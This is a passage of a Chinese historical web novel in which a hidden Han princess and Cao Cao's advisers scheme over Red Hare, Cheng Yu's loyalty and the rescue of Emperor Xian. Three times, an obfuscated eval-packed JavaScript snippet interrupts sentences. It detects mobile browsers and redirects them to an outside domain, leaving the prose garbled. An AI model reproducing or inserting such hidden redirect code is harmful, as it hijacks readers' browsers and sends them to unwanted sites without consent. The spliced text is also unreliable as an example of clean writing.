“它可真是又聪明又可爱,我能把它留在身边的吧。”刘琼也很欢喜赤兔马对自己的亲近。 “自然是可以的,这是妹妹的战利品嘛。”曹昂不假思索的点了点头。 可话音刚落不久,便有从曹府来的仆从前来传信,让他们带着赤兔马先回府。 44.戛然而止 曹昂和刘琼一回府,慧儿就迎了上来,他们两个问她是不是发生什么事了。 慧儿低声回答说,是三个将军模样的人在家里吵着要马。 一听这话,曹昂和刘琼就知道,定是吕布那厮发现赤兔马不见了,这才前来讨要的。 “妹妹莫急,我这就去见父亲,必不叫你失望。”想起方才她摸着赤兔马,眼神亮晶晶的模样,曹昂当即许诺道。 “……”,刘琼却只笑了笑,没说话,等他走后,这才和慧儿一起回了自己的院落。 “慧儿,在他们来要马之前,府中还发生了什么事吗?”刘琼笃定这不是偶然,所以有此一问。 “确有一件,奴婢听说昨晚曹公摆下宴席招待这三个将军,其中那个叫吕布的还立了军令状,说是要替曹公攻下徐州呢。” “这事儿一早就嚷嚷的满府都是,只女公子和大公子去了庄子上,这才没听着。”慧儿如实告知。 “原来如此,怪不得吕布会来讨要赤兔马呢。”刘琼听到这儿,也就明白过来了。 “女公子,还有一事,奴婢不知当讲不当讲?”慧儿却有些纠结。 “你我之间还有什么不能讲的?说吧。”刘琼有些不解,抬了抬手,示意她继续。 “今儿个早些时候奴婢去丁夫人院里送东西,却见那三人在门口与曹公吵嚷。” “旁的两个也就罢了,只那个吕布,一个劲儿的要见女公子,说是赤兔马是被女公子带走的,那就该由女公子还回来。” “若非那姓张的和姓高的拦住他,只怕他早就闯进去了。” “依奴婢看,这个吕布要赤兔马是假,对女公子有所图谋才是真,往院儿里张望时,那眼神也色眯眯的,一看就不是个好人。”慧儿愤愤不平。 “他是不是好人不重要,能不能做一把好刀才重要。”刘琼却不在意这个,反而觉得这是个可以利用的点。 “你刚才说我那姑父已经允了吕布去打徐州了是吗?”她更关注这个。 “可不是?就连本部兵马都还给这人了,这才引得他来前来索要赤兔马的。” “可那毕竟是女公子的战利品啊,这哪里有还回去的道理?”慧儿知道刘琼很喜欢赤兔马,这是替她叫屈呢。 “无妨,赤兔马虽难得,但也比不上徐州。”刘琼却摇了摇头。 “我记得之前让人赶制了新的马鞍和马鞭,做好了吗?”她突然问了一句这个。 “做好了。”慧儿点了点头。 “做好了就行,那等那边谈妥了之后,你亲自把东西给吕布送过去。” “就说,我十分期盼有朝一日,能看到他骑着赤兔马凯旋而归。”刘琼吩咐道。 “女公子,那吕布本就图谋不轨,若是再送他东西,那他不是更惦记了吗?”慧儿很担忧。 “就是要他惦记才好,这样等将来他得了徐州,才不会真的和我们撕破脸,徒增新的敌人。”刘琼简单解释了一句。 之所以如此做,除了上述原因外,更因为她知道吕布此去应该能从刘备手中把徐州扣出来一大部分,甚至很可能会反客为主,让刘备居于他之下。 现在给他点甜头尝尝,那将来说不定就能通过他把徐州拿到手里。 就好比当年司徒王允只用一个貂蝉就令吕布杀了董卓这个文武百官都束手无策的奸贼一样。 刘琼向来喜欢这种用最小的代价换取最大利益的做法。 况且如今只是送点东西,再说两句甜言蜜语哄哄吕布罢了,又不是要刘琼亲自出马,那就更是毫无压力了。 当然,这些弯弯绕也用不着跟慧儿说的太明白,解释一句就够了,说多了的话,她听不懂,她也不想懂。 她只知道自己应该听公主的吩咐,刚才问那一句,公主也回答了,这就够了,至于别的,她没有再问。 宫廷里出来的奴婢最是知道一点,管住自己的嘴,就是管住自己的命。 所以她听话的点头应下,行了一礼后,去办事了。 而另一头,吕布正在曹操那儿各种吵嚷,罗里吧嗦一大堆,总结起来就一句,赤兔马得还给他,也必须给他,这是曹操的承诺,也是他拿下徐州的战力前提。 赤兔马虽然是千里马,但曹操显然不会为了它而让自己显得吝啬又食言,更别提,他还指望着吕布赶紧去徐州和刘备狗咬狗呢。 所以曹操当然得把赤兔马还给吕布,可他还没开口呢,曹昂却拽了拽他的衣袖,轻声告诉他,公主很喜欢赤兔马,刚询问过能不能将它留在身边。 曹操一听这个,顿感为难,吕布那边虽不知内情,但也看出了他的犹豫,当即更加大声的吵嚷起来,弄得曹操很是下不了台。 双方正在僵持之际,幸得慧儿前来解围,言说听闻吕布立下军令状要去出征徐州,那赤兔马自然要物归原主。 然后她又奉上了新的马鞍和马鞭,言辞巧妙的转述了刘琼的话,把直接对吕布的期盼含糊成了对他和赤兔马的期待。 如此一来,双方也都比较满意了。 特别是吕布,他自动过滤掉了刘琼对赤兔马的期待,只听到这侍女说女公子期盼自己凯旋而归了,心中不免沾沾自喜,脸上也得意起来。 张辽和高顺一看他这个样子,心里就‘咯噔’一下,生怕他脑子一热就开口要求娶。 于是乎,他们赶紧跟曹操告罪一声,又说要整顿兵马,然后便半哄半拉的拽走了吕布,当然,新马鞍和新马鞭也带走了。 折腾了半天,总算是把这活阎王给弄走了,曹操也松了一口气,只曹昂面色不太好,觉得此事委屈了刘琼。 曹操也知道自己做的不太妥当,便当即答应曹昂,允许他亲自去挑一匹好马给公主。 若是家里养的这些马看不上,也可以花钱买外头的,反正只要把公主哄高兴了就行。 曹昂的脸色这才好了不少,跟曹操行礼告退后,便立刻去寻刘琼,准备安慰她一番。 后宅之事暂时平息,前方曹操也亲自出行,送走了吕布一众兵马去攻徐州。 可谁知吕布他们才走,兖州名士边让便跳了出来,当众指责曹操的残暴行为,连曹家的祖宗先人都侮辱了。 本来一切按计划进行,曹操的心情是很好的。 可边让这么一骂,又是在大庭广众之下,还骂的这么脏,这么难听,当下他的脸色就难看的跟死了爹那天一样了。 曹操其实早就怀疑过吕布偷袭兖州和边让有关,现在看他还敢主动跳出来,不禁心想,我制服不了吕布,还制服不了你吗? 于是他立刻就下令把边让和其家人一起抓起来,并雷厉风行的派人在城里大肆搜捕边让的所谓‘同党’。 这当然不只是为了报私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894969|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仇,而是意在借此机会,清除一批不服从自己,背地里搞小动作的兖州士族。 这次吕布的偷袭让曹操深刻意识到,自己的地盘不稳固,很不稳固,以后要想没有顾虑的征战四方,那就必须设法夯实内部。 至于这里面会不会有无辜怨死的人,那曹操可就顾不上了。 他下令处死边让等人,就是要用他们的血来震慑异己,树立绝对权威。 此等铁腕手段,也着实让兖州其他士族心惊胆颤,短时间内再不敢有任何异动。 但这反而让陈宫和荀彧看出了拉拢其他兖州士族的机会,曹操不得人心,那他们完全可以暗中替公主联络这些人。 可现在棘手的是,公主的身份并不能公开,他们也不能随意泄露给那些士族,否则要是拉拢不成,对方反咬一口,那他们可就危险了。 也就是说,他们必须得想个办法,能让这些人投效的同时,又不暴露刘琼的真实身份。 可是除了刘琼公主的身份和传国玉玺的存在,他们似乎也没什么别的东西可以吸引这些士族的了。 关键时刻,还是才来不久的郭嘉给了解决办法。 其实他们无需主动去拉拢这些士族,只要分化曹操内部的势力,让他们意识到自己可以效忠的,不一定是曹操就行了。 而且这个被分化的势力,还不能是曹操的亲族,因为后者和曹操有血脉利益关系,轻易不会背叛。 他们要瞄准的,是那些自以为被曹操看重,实则却被蒙在鼓里,并不知道他藏匿了公主和玉玺的忠臣。 陈宫和荀彧也深以为然,在经过对曹操阵营的众多谋士武将分析过后,他们三个同时把目标定在了程昱身上。 可怎么让程昱意识到这点,却又不被曹操怀疑,就是个新的难题了。 他们三个商量了好久也没个结果,好在天无绝人之路,不久后的重阳节宴会,竟是给了他们机会。 当日节日氛围浓厚,大家又被邀请去郊野登高宴饮,难免都多喝了几杯,正在觥筹交错之间,突然有消息传来。 言说孙坚的儿子孙策,拿传国玉玺在袁术那儿换了三千兵马回江东救家小,而袁绍听说此事,已经派人去袁术那里索要玉玺去了。 “哈哈哈哈!” 旁人还未发一言,曹操便已大笑不止。 “主公何故发笑啊?”荀彧和陈宫对视一眼后,瞬间意识到这个是好机会,立刻装作糊涂的样子问道。 “我是笑那袁术少智,袁绍贪心,拿传国玉玺换三千兵马,那三千兵马还能回得来吗?”曹操越想越觉得搞笑。 “主公,可那传国玉玺不是比兵马更重要吗?”荀彧继续装糊涂追问。 “若是真的传国玉玺,那当然比三千兵马重要,可那是假的啊,这跟拿石头换金子有什么区别?” “袁术,袁公路,简直天下第一大蠢物!” “哈哈哈!” “哈哈哈哈!” 话到此处,曹操又大笑起来。 “主公,你怎么知道那是假的?”他说的太笃定了,坐在一旁的程昱也起了好奇心,不禁追问了一句。 “……”,也就是这一句,让曹操的笑声戛然而止,酒也醒了一半。 而一旁的荀彧和陈宫则是不着痕迹的端起酒杯掩饰自己的表情,心下却在暗喜,知道事情就算成了。 45.其乐融融 重阳节宴会之上,曹操酒后失言,差点漏了公主和真玉玺的所在,好在他心理素质够硬,信手拈来一个传言,说自己也是听闻,便要将此事匆匆翻篇。 武将们无所谓,他们本来就对这些言语间的弯弯绕不感冒,眼下喝酒庆祝才是正理。 而曹仁,夏侯淳等人,他们倒是听出曹操失言了,也知道刚才他为何发笑,可他们却不会在大庭广众之下将其戳穿。 因为公主和玉玺的存在是绝密,如今配合自家主公赶紧把此事糊弄过去才是正经。 所以他们开始轮番给曹操敬酒,吵吵嚷嚷,好不热闹。 而文臣谋士那头,荀彧和陈宫是设局的,自然要撇清关系,也不会再议论此事。 至于被他们谋算的程昱,他也的确如两人猜测的那样,看出了曹操对自己有所隐瞒。 程昱本想追问,但碍于此等场合,又觉得自己不好扫兴,也就没有立刻开口,只想着等一会儿,他再单独找个机会去寻主公曹操问一下就是。 但很可惜,曹操没给他这个机会,趁着曹仁他们近前给他敬酒的时候,低声吩咐了几句,接着就开始和他们一起饮酒,不久后便醉倒了。 曹仁和夏侯淳也顺势亲自把曹操先送回去休息。 重阳节宴会,东道主却先一步酒醉离场,似乎有些不妥。 但好在丁夫人留在了现场,曹昂作为曹操的长子,也亲自给大家敬酒赔罪。 一众谋士武将也不至于不识好歹,况且过节嘛,一高兴喝醉了那是正常的,这才符合气氛啊,于是乎,这宴会便继续开了下去。 只是对于曹操的提前离席,程昱却越发觉得有哪儿不对,而他皱眉思索的表情也全都落入了陈宫和荀彧的眼中。 等宴会散了之后,两人便以节日需赠礼为由,再次聚到了一起,去了陈宫的府邸。 彼时郭嘉也在,这家伙正在凉亭里喝着小酒,吃着小菜,发冠旁边还斜插着一枝茱萸,红色的小果子顺着他喝酒晃头的动作一颤一颤的。 “我们赴宴,心惊胆寒,你倒是好生惬意啊。”陈宫实在看不过眼,走上前去酸了一句。 “惭愧惭愧,可谁让在下现在还是个白身,赴不得州牧大人举办的宴席,只好来占公台兄的便宜了。”郭嘉对着陈宫行了一礼,笑盈盈道。 “少来这套。”陈宫一把夺过郭嘉手中酒杯。 “你若真想做那曹操的官,大可以现在就过去。” “刚才在宴会上,他可是差点说漏了嘴,现在怕是巴不得有人上门,能给他出个好主意善后呢。”他没好气的怼了两句。 “也就是说,我们的谋划成了?”虽然是疑问句,但却是肯定的语气。 “我就知道一定会成的,是时候喝酒庆祝一下了。”说着,郭嘉就又要去拿酒壶往新杯子里倒酒。 “奉孝,你今天已经喝的够多了,实在不能再喝了,当心身体。”这次是荀彧眼疾手快,抢先拿走了酒壶,并认真的劝说起来。 “这是菊花酒,养身的,没事儿,文若,你快给我,给我啊!”郭嘉一个劲儿的伸手朝他要。 “不管什么酒,只要喝多了,那就一定会伤身,这次我说什么也不能给你。” 荀彧把握着酒壶的手背过身去,同时伸出另一只手挡住郭嘉,义正言辞的拒绝了。 “可不是?你小小年纪,却活像个经年的酒鬼,这样下去怎么得了?” “而且这喝酒不仅伤身,它还误事呢,君不见今日的曹操便是前车之鉴?” 陈宫也附和着说教了几句,还拿曹操酒后失言之事举例。 “还有,你真的觉得我们的计策已经成功了吗?” “今日之事,程昱虽已心生怀疑,可离他真正弃暗投明还远着呢。” “才赢了半场就要喝酒庆祝,也不怕风大闪了舌头,后续横生波折?” 他又毫不客气的教训了郭嘉几句,意在挫挫这小子的锐气,省的他轻狂的没边,坏了大家的筹谋不说,也让公主失望透顶。 “公台兄,哪有这么严重啊?奉孝不过是有些贪杯罢了,不过大事上还是不含糊的。”荀彧见气氛有些不对,赶忙打了个圆场。 “就是就是,这轻重缓急我分得清楚着呢。”郭嘉眼看好友为自己撑腰,也连连点头附和道。 “你就惯着他吧。”陈宫见状,没好气的瞪了荀彧一眼。 “公台兄此言差矣,我这是张弛有度,虽然我为奉孝说了几句好话,但那是因为他本身性格如此。” “可若涉及旁的东西,比如这酒,我就肯定不会给他,也不会惯着他了,公台兄尽管放心就是。”荀彧一本正经的许诺道。 “……”,陈宫没说话,但面上的表情显然缓和了许多。 “我说,难道你们不觉得这事儿应该考虑一下我的感受吗?”唯有郭嘉感觉有点懵。 “奉孝,我们正是考虑到了酒对你身体有碍,所以才不给你的,你可不要误会了我等的好意啊。”荀彧一脸正色的解释道。 “没错。”陈宫也重重的点了点头,表示赞同。 “……”郭嘉怎么也没想到,只一眨眼的功夫就攻守易型了,好友居然站到自己的对立面去了,他感觉非常委屈。 “你们这可是合起伙来欺负我啊,难道就不怕我向女公子告状吗?” 他反过来‘威胁’道。 “巧了不是?今日重阳节,女公子还真托我给你带了一份礼物。”陈宫却从袖中取出一张帛书,“也是有关酒的。” “当真?我就知道女公子肯定心疼我,允许我喝酒的。”郭嘉兴冲冲的把帛书抢过来,可才打开看了一眼就愣住了。 “不是吧,我可是功臣啊,有这么对待功臣的吗?”他拿着帛书碎碎念。 “里面写什么了,你这般惊讶?”荀彧好奇的凑过去看,却见上书标题确实和酒有关,但写的却是‘药酒’二字。 “奉孝啊奉孝,依我观之,这可是一张上好的药方,有钱都没处买的那种,还专治你的毛病,你可得好好听话服用啊。” 荀彧一目十行看了一遍内容,不住的点头,显然是很认可。 “这话说的很是,我可特地问了女公子了,这可是她从家里带出来的药酒方子,珍贵无比。” “奉孝,这下你可有口福 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907301|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,既能喝酒,还可以治病,一举两得,何乐而不为呢?” 陈宫也附和点了点头,言语间也尽是赞同,只脸上的幸灾乐祸怎么也掩不住。 “……你们都欺负我。”郭嘉看看这个,看看那个,更觉得委屈了。 “好了好了,都是加冠成年的人了,怎么还闹小孩子脾气,也不怕人笑话?”荀彧赶紧上去安抚。 “谁爱笑谁笑去,我活的舒坦就是了,若为了旁的什么而委屈了自己,那才叫不值呢。”郭嘉却抬了抬下巴,振振有辞道。 “你看看他像什么样子?”陈宫一听更不满意了。 “奉孝还年轻嘛,公台兄,你我作为前辈兄长,多担待些也是应该的。”荀彧立刻出言转圜。 “就是就是,让着我点啊。”郭嘉还小声附和。 “等这药酒酿好了,你要是乖乖的服用,那我让着你也不是不行,你觉得如何?”陈宫也不去跟他争论别的,直接反问郭嘉道。 “这……”,郭嘉一听就犹豫了。 “奉孝,这可是女公子一番好意,你切不可辜负啊,况且往后多年,我还想和你长长久久的共事呢。”荀彧见状赶忙劝说。 “……那好吧,我喝就是了。”郭嘉也并非不知好歹之人,明白他们都是为了自己好,所以最后还是点了点头。 只他的脸色苦的很,仿佛现在就有人把药酒灌他嘴里似的。 看到这一幕,陈宫心里总算出了口气。 倒不是他对郭嘉有偏见,实在是这小子自从到了这儿,除了出谋划策的时候,其他时间都在不务正业,不是喝酒就是玩乐,一点正型都没有。 陈宫今年又三十好几了,看郭嘉这个二十刚出头的年轻人自然就跟看自家小辈似的,容不得他这般虚度光阴。 特别是陈宫知道公主还特别看重这小子,那他就更不允许郭嘉整日里放浪形骸了。 可这一来二去的,也的确显得他刻意针对郭嘉,但他实则不过是恨铁不成钢罢了。 好在无论是郭嘉还是他自己,乃至荀彧都清楚这点,所以三人的相处还算融洽。 互相拌了两句嘴后,他们便结伴去了书房,商讨起正事来。 如今程昱已经起了疑心,把他拉到他们的阵营里不过是时间问题,可兖州士族那儿,却观望的居多,陈宫和荀彧也觉得很是为难。 还是郭嘉一针见血,他们现在最需要的,其实是让公主走到前台来,这样才能更好的招揽别人,所谓名正言顺就是这个道理了。 可是公主的身份此时又偏偏不能暴露,一时之间,真是进退两难。 就在这等进退维谷的时候,徐州那边又传来一个糟糕的消息,言说吕布果然攻下徐州,刘备三兄弟不仅没和吕布反目成仇,反而托庇于吕布之下。 吕布志得意满,竟是派人来兖州跟曹操邀功请赏,不仅如此,他还遣人来提亲,言说要娶曹操家的女公子。 曹操闻言大怒,当即杀了使者,又整顿兵马,打算再次征讨徐州。 双方拉锯了四五个月,战事一直持续到次年三月,天下各大诸侯突然收到了来自天子的诏令。 46.姐弟情深 自司徒王允被杀,吕布逃离长安,天子刘协便被西凉军的李傕,郭汜等人挟持,全然成了一个傀儡,被其予取予求,整日心惊担颤。 幸得忠臣董承,杨奉等人谋划,趁着李郭两人内讧争权之际,他们带着天子刘协顺利逃出长安,准备东归洛阳。 李郭两人自然不肯善罢甘休,派兵追杀,天子刘协不得已,在逃亡途中写下诏书传令各大诸侯勤王救驾。 彼时这消息传到兖州时,曹操正和众人商议讨伐徐州的事宜。 “明公,吕布虽背信弃义,无礼在先,但我以为,讨伐他的事可以暂缓。” “眼下天子蒙难,欲要东归洛阳,明公素来以汉室忠臣自居,此等紧要关头,切不可因小失大啊。”陈宫第一个坐不住,出言道。 “文若,你以为如何?”曹操有些犹豫,便把目光投向了荀彧。 “主公,我也觉得公台兄言之有理。” “昔日晋文公于危难之际接纳了周襄王,诸侯因此服从,我大汉高祖皇帝也曾为义帝发丧,则天下归心。” “如今天子蒙尘,被奸贼所迫,主公若于此时首倡义兵,奉天子以从众望,岂非顺天应人之大略乎?” 荀彧从来都是汉室忠臣,又和陈宫立场一致,自然是赞同他的说法的,为了增强自己建议的可行性,荀彧还举了两个实例。 “……”曹操闻言,有些意动,但还是顾虑良多。 “主公,恕我多嘴说一句,这天子诏书并非发给主公一人,而是各大诸侯皆知此事。” “你我若不早图,只怕旁人将先一步而为之啊。”荀彧见状,立刻再接再厉道。 “明公,如今这消息不只是诸侯皆知,天下百姓也已尽知,明公若毫无作为,恐将失去人心,还是莫要自误啊。”陈宫也随之进言道。 他话里话外都是在点曹操,现在所有人都知道天子逃亡之事,公主又岂会不知,即便现在不知,也瞒不了多久,届时后果可就不是一般的严重了。 “……”,曹操脸色一暗,显然也听出了他的言外之意。 而且今日好巧不巧,刘琼和曹昂还一起去郊野给女工们发工钱去了,只怕现下早就得了信儿了。 等会儿公主一着急,怕不是要直接冲到他和部下们面前来。 关心则乱虽不是女子的专属,但女子若是遇到此等情况,只怕会更加慌张。 若是因此漏了公主的身份,就先不提要不要迎天子之事,他手下这些被蒙在鼓里的部下们,都得炸了锅,到时候才有的头疼呢。 “公台所言极是,但奉迎天子毕竟事关重大,还需细细商议。” “既如此,文若,仲德,你们两个留一下,其他人先下去吧。”曹操定了神后,吩咐道。 “诺。”众文武随即行了一礼,依次退出了厅堂。 只程昱和荀彧随曹操一起去了书房,至于陈宫,他则是出了厅堂后,一路往府外而去。 对于曹操没有叫自己一起商量的事,陈宫一点也不意外。 毕竟,自己到现在也没有改口认他为主公,又是公主秘密的知情者,曹操不信任他也是应该的。 索性他也不在乎曹操信不信任自己,他现在迫切需要见公主一面,和她亲自谈谈,可想起曹昂总是寸步不离的跟着公主,陈宫又有些为难。 临到府邸门口时,他却正好看到了在等荀彧的荀祈,陈宫当即便有了主意,他走上前去也不知说了些什么,总之最后荀祈跟他一起离开了曹府。 两人在半路上遇到了回来的曹昂和刘琼,此时刘琼还不知道天子诏书的事,曹昂倒是知道,但他怕她担心,所以把消息截住了。 岂料荀祈却主动上前与曹昂搭话,言语间马上就要提到天子诏书的事了,曹昂生怕在马车里的刘琼听到什么,立刻打断了对方的言语。 两人说着说着,这气氛就变得针锋相对起来,陈宫眼看这火候差不多了,赶紧上来打圆场。 曹昂心中非常不悦,但也不想让刘琼目睹他和荀祈争吵,更不想刘琼这个时候回府听到什么消息。 又见陈宫这个知情者在此,于是他便萌生了暂时将刘琼托付给对方,而自己来解决荀祈这个麻烦的念头。 陈宫一眼就看穿了曹昂的打算,且这正是他所希望的,不禁心中窃喜,但嘴上却还在说着年轻人拌几句嘴没什么大不了的,让他们两个好好说话,别动手。 本来他不说这话还好,一说这话,曹昂和荀祈突然反应过来了。 对啊,除了用言语解决问题之外,似乎还可以用拳脚来解决问题。 他们两个又都年轻气盛,且为了刘琼已经有过多次口角之争了,现在也是时候来一场男人之间的对决了。 两人都挺中意这个办法,而陈宫也就顺势接下了曹昂的嘱托,带着刘琼先回了自己的府邸。 刚才路上也好,进了府邸也好,陈宫都是一副急匆匆的样子,难免让刘琼心生疑惑。 “陈伯父,是出什么事了吗?”她不由得出言询问。 “女公子容禀,因为事关重大,我只能长话短说了。” “刚接到的紧急消息,陛下如今已经逃出了长安,往洛阳而去,并在逃亡期间发布诏书,请各大诸侯勤王护驾。” “眼下曹操已然被我等说动,但还未下定决心,方才又找了程昱和荀彧去商议。” “我料想女公子此时必然还蒙在鼓里,故而出此下策,将女公子请来府里告知实情。” 陈宫三言两句就把来龙去脉交代清楚了。 “这到底是怎么回事啊?”刘琼一听也皱紧了眉头,面上也满是焦急之色。 天子刘协逃出长安,东归洛阳的事一定会发生,她是知道的,可她怎么也没想到,事情竟然提前了三四年之久,直接打了她一个措手不及。 “听说是董承和杨奉给陛下出主意,趁着李郭二人争权之际,以巡视军营的由头出了长安,然后便没回去,这才开启了逃亡之路啊。”陈宫又把一些细节告诉她。 “好一个董承杨奉,果真是我大汉的忠臣。”刘琼嘴上称赞,但心里却冷笑不已。 杨奉也就罢了,一个投诚的山贼,想通过救驾之功洗白自己的出身无可厚非。 但董承的目的就很值得寻味了。 如果她没记错的话,后来的董承愿意帮刘协出逃,那是因为刘协的董贵人是他的女儿,两人属于是翁婿关系,没有不帮的道理。 可如今她这个做姐姐的都未及笄,那刘协的年纪只能更小,绝不可能有什么皇后妃嫔之类的存在,可董承却依旧选择救驾。 恐怕这不只是因为他对大汉的忠心,更多的还是因为他对刘协,哦不,应该是对刘协的皇后之位有所图。 史书记载,刘协的第一任皇后本该是侍中伏完和刘琼的姑姑,也就是阳安公主刘华的女儿,伏寿。 换句话说,刘协和伏寿是表兄妹关系。 如今刘协不足岁,伏寿只能更小,他们未曾成婚也就说的通了。 皇后之位空悬,也难怪董承心动,愿意冒险救刘协,这是在为他自己的女儿和家族的未来打算呢。 可刘琼却不愿意自己的弟弟被他这般利用,如果刘协注定要被人利用,那也只能被她这个亲姐姐利用,轮不到外人占便宜。 陈宫此时却并不清楚她心里的种种思量,看着她面露焦急之色,还以为她是担忧刘协。 “女公子莫要太过忧心,我和文若必定想方设法说服曹操,令他起兵救驾。”于是乎,他出言安抚了一句。 “他一定会去救驾,但我担心,他不是真心要救我弟弟。”刘琼却摇了摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15914323|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头。 “女公子何出此言啊?”陈宫一愣。 “伯父,你觉得‘奉天子以令不臣’和‘挟天子以令诸侯’,这两者的区别在哪儿?”刘琼没有直接回答,反而给出了两个选项,要他分辨。 “……”,陈宫的脸色‘唰’的一下就变了,可见他反应过来是怎么回事了。 “他怎么敢的?陛下可是天子啊。”他的眉头皱的很紧。 “天子又如何?无兵无地,也不过是别人砧板上的肉,只能任人宰割罢了。”刘琼叹了一口气。 “就好比我那可怜的长兄,董卓只用一杯毒酒就要了他的命,谁人不知我长兄是天子,可天子也保不住自己的性命。” “臣强君弱,为之奈何啊。”她无奈的摇了摇头。 “那我们现在该怎么办?”陈宫一时也乱了方寸。 “救是一定要救的,但我弟弟不能落在曹操手里,至少不能全部由他掌控,此行……” “此行,女公子打算亲自去接陛下,是也不是?” 刘琼的话还未说完,就听到身后传来一个熟悉的声音,两人闻言看去,却见郭嘉从屏风那儿走了出来。 “你进来怎么不敲门啊,吓死个人了!”陈宫没好气的怼了一句。 “我敲了啊,可你们说的太投入,没人理我,我又怕打扰你们,就在屏风这儿听了会儿。”郭嘉摊开手,一脸无辜的解释道。 “偷听你还有理啊。”陈宫更不高兴了。 “我……”郭嘉正要再说点什么反驳。 “好了,眼下最要紧的,是我弟弟的事。”刘琼却突然出声打断,强行终止他们之间的无谓争执。 “奉孝,你刚才是不是说想让女公子亲自去接陛下?” “陛下现在的处境有多危险你不知道吗?” “你还打算把女公子也搭进去,你安的什么心?”陈宫于是将注意力再度转了回来。 “不是我要让女公子亲自去,是她自己想去,我只是把她的想法说出来而已,女公子,你说是不是啊?”郭嘉看向刘琼。 “没错。”刘琼也点了点头,“我要亲自去接我弟弟,也只有我亲自去,曹操才不敢太过分。” “可是东郡距离洛阳有几百里,还要跨越多个诸侯的辖区,女公子怎可以身犯险啊?”陈宫还是不太赞同。 “公台兄此言差矣,此行勤王救驾,曹操必定会亲自出马,女公子跟着他一起,再由张辽高顺两位将军一路护送,想来不会出什么事的。” “至于其他诸侯,也不足为惧。” “荆州刘表如今正与孙坚之子孙策争夺江东,冀州袁绍则和公孙瓒不睦,南阳袁术又觊觎吕布刘备所控制的徐州。” “各方诸侯相互牵制,已成掎角,正处于牵一发而动全身的紧张局势,绝对腾不出手来管天子的事。” “如此一来,我们前去营救天子,反而没有多大危险。” “一旦成功,我等不仅能够占据大义名分,女公子也不必再遮掩身份,寄人篱下了。” 郭嘉细细分析了一下现在的情况,最后总结,就是此事风险小,收益大,他们可以付诸实践。 “奉孝所言,正合我意,伯父,你以为呢?”刘琼非常满意的点了点头,但出于礼貌和尊重,还是询问了陈宫一句。 “言之有物,但细节方面还有所欠缺,对此我们必须再商议一番。”陈宫轻咳一声,给出了中肯的评价。 他是不喜欢郭嘉平时吊儿郎当的样子,但这不妨碍他认可对方的才华,于是这才有了这样的回答。 “那我们就再商议一下吧。”郭嘉很痛快的点了点头。 就这样,三人开始就一些小细节开始讨论,等曹昂好不容易摆脱了荀祈过来接刘琼的时候,她已经和陈宫郭嘉他们达成了一致。 47.他的坚持 刘琼和陈宫郭嘉商量好后,便跟着曹昂一起回了曹府,又设计自己‘不小心’听到了天子出逃洛阳的消息,因而心急如焚,直奔前院书房去找曹操。 彼时,曹操刚和荀彧程昱等人定下奉迎天子的事宜,她便急匆匆闯了进来,开口便问天子的事,面色焦急万分。 曹操见状顿时心里一紧,赶紧出言打发荀彧和程昱离开。 两人刚走出院落,迎面就看到了狂奔而来的曹昂,因为情况紧急,他甚至都来不及和他们两个正式见礼,只点了点头就走了。 荀彧和程昱倒是没在意这个,因为他们的注意力都在刚才闯进去的刘琼身上。 荀彧也就罢了,他知道公主此来必定是要问天子的情况,而程昱却想不通刚才自己的主公为何见到女公子后脸色突变。 如果说碍于是自家小辈女眷不守规矩,曹操这才把他们两个谋士支走而单独处理,倒也说得过去。 可是曹操脸上方才除了惊讶外,还有紧张,还是非同寻常的紧张,这点就让程昱百思不得其解了,自古都是长辈训小辈,哪有长辈怕小辈的道理? 一旁的荀彧看着程昱眉头紧皱的模样就知道对方起了疑心,但他却不打算这么快揭开真相,还故意说了些模棱两可的话,以此用来加深程昱的疑心。 不提荀彧在设法拉拢程昱,只说刘琼正在和曹操各种问询,面上也焦急万分,充分表现出了一个担忧弟弟安危的好姐姐形象。 曹昂到了书房以后,一边安抚刘琼,一边替她说话,而曹操自然是赶紧表示已经不日就要起兵救驾,让她不要担心。 岂料刘琼却突然提出她也要随军同行去救弟弟,这就让曹操非常为难了,就连曹昂也不太赞同她去。 除了路途遥远之外,更多的则是担心她的安全。 然而刘琼这次却异常坚持,还拿出了自己先前从孙坚那儿逃走的事举例子,总而言之一句话,她一定要亲自去接刘协。 这不只是一个姐姐对自己弟弟的庇护,更是作为大汉公主的她,对大汉天子应尽的责任和义务。 此话一出,曹操也不好说什么了,曹昂更是不敢再劝。 因为这已经上升到家国一体的高度了,他们若是再阻拦,那就是没有大局观念,更不配称之为汉室忠臣了。 就这样,刘琼成功达成目的。 曹操眼看公主已经知情,且自己也决定要营救天子了,那就干脆把事情做到最好,他以极快的速度做好了兖州事物的交接。 他继续让荀彧和程昱留守,曹仁则负责军队指挥,张辽和高顺却被曹操安排到随行队伍里。 